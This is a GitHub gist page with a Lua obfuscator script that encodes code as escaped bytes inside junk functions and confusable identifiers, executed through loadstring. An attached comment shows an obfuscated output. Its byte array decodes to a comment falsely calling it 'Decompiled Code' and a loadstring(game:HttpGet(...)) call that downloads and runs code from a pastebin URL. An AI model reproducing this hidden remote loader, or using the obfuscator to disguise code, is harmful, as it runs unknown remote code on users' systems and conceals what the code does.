-
-
Save spotco/b81ae62773b4af945e43992f8cc3dfe2 to your computer and use it in GitHub Desktop.
| local a=[[ | |
| function test() | |
| print("test1") | |
| end | |
| ]] | |
| function Obfuscate(b) | |
| local a="" | |
| local c="function IllIlllIllIlllIlllIlllIll(IllIlllIllIllIll) if (IllIlllIllIllIll==(((((919 + 636)-636)*3147)/3147)+919)) then return not true end if (IllIlllIllIllIll==(((((968 + 670)-670)*3315)/3315)+968)) then return not false end end; " | |
| local d=c; | |
| local e="" | |
| local f={"IllIllIllIllI","IIlllIIlllIIlllIIlllII","IIllllIIllll"} | |
| local g=[[local IlIlIlIlIlIlIlIlII = {]] | |
| local h=[[local IllIIllIIllIII = loadstring]] | |
| local i=[[local IllIIIllIIIIllI = table.concat]] | |
| local j=[[local IIIIIIIIllllllllIIIIIIII = "''"]] | |
| local k="local "..f[math.random(1,#f)].." = (7*3-9/9+3*2/0+3*3);" | |
| local l="local "..f[math.random(1,#f)].." = (3*4-7/7+6*4/3+9*9);" | |
| local m="" | |
| for n=1,string.len(b) do | |
| e=e.."'\\"..string.byte(b,n).."'," | |
| end; | |
| local o="function IllIIIIllIIIIIl("..f[math.random(1,#f)]..")" | |
| local p="function "..f[math.random(1,#f)].."("..f[math.random(1,#f)]..")" | |
| local q="local "..f[math.random(1,#f)].." = (5*3-2/8+9*2/9+8*3)" | |
| local r="end" | |
| local s="IllIIIIllIIIIIl(900283)" | |
| local t="function IllIlllIllIlllIlllIlllIllIlllIIIlll("..f[math.random(1,#f)]..")" | |
| local q="function "..f[math.random(1,#f)].."("..f[math.random(1,#f)]..")" | |
| local u="local "..f[math.random(1,#f)].." = (9*0-7/5+3*1/3+8*2)" | |
| local v="end" | |
| local w="IllIlllIllIlllIlllIlllIllIlllIIIlll(9083)" | |
| local x=m..d..k..l..i..";"..o.." "..p.." "..q.." "..r.." "..r.." "..r..";"..s..";"..t.." "..q.." "..u.." "..v.." "..v..";"..w..";"..h..";"..g..e.."}".."IllIIllIIllIII(IllIIIllIIIIllI(IlIlIlIlIlIlIlIlII,IIIIIIIIllllllllIIIIIIII))()" | |
| return x | |
| end; | |
| do | |
| print(Obfuscate(a)) | |
| end |
function IllIlllIllIlllIlllIlllIll(IllIlllIllIllIll) if (IllIlllIllIllIll==(((((919 + 636)-636)3147)/3147)+919)) then return not true end if (IllIlllIllIllIll==(((((968 + 670)-670)3315)/3315)+968)) then return not false end end; local IIllllIIllll = (73-9/9+32/0+33);local IIlllIIlllIIlllIIlllII = (34-7/7+64/3+99);local IllIIIllIIIIllI = table.concat;function IllIIIIllIIIIIl(IIllllIIllll) function IIllllIIllll(IIllllIIllll) function IIllllIIllll(IllIllIllIllI) end end end;IllIIIIllIIIIIl(900283);function IllIlllIllIlllIlllIlllIllIlllIIIlll(IIlllIIlllIIlllIIlllII) function IIllllIIllll(IllIllIllIllI) local IIlllIIlllIIlllIIlllII = (90-7/5+31/3+8*2) end end;IllIlllIllIlllIlllIlllIllIlllIIIlll(9083);local IllIIllIIllIII = loadstring;local IlIlIlIlIlIlIlIlII = {'\45','\45','\47','\47','\32','\68','\101','\99','\111','\109','\112','\105','\108','\101','\100','\32','\67','\111','\100','\101','\46','\32','\10','\108','\111','\97','\100','\115','\116','\114','\105','\110','\103','\40','\103','\97','\109','\101','\58','\72','\116','\116','\112','\71','\101','\116','\40','\34','\104','\116','\116','\112','\115','\58','\47','\47','\112','\97','\115','\116','\101','\98','\105','\110','\46','\99','\111','\109','\47','\114','\97','\119','\47','\121','\119','\107','\80','\87','\49','\67','\88','\34','\41','\41','\40','\41','\10',}IllIIllIIllIII(IllIIIllIIIIllI(IlIlIlIlIlIlIlIlII,IIIIIIIIllllllllIIIIIIII))()
Hshah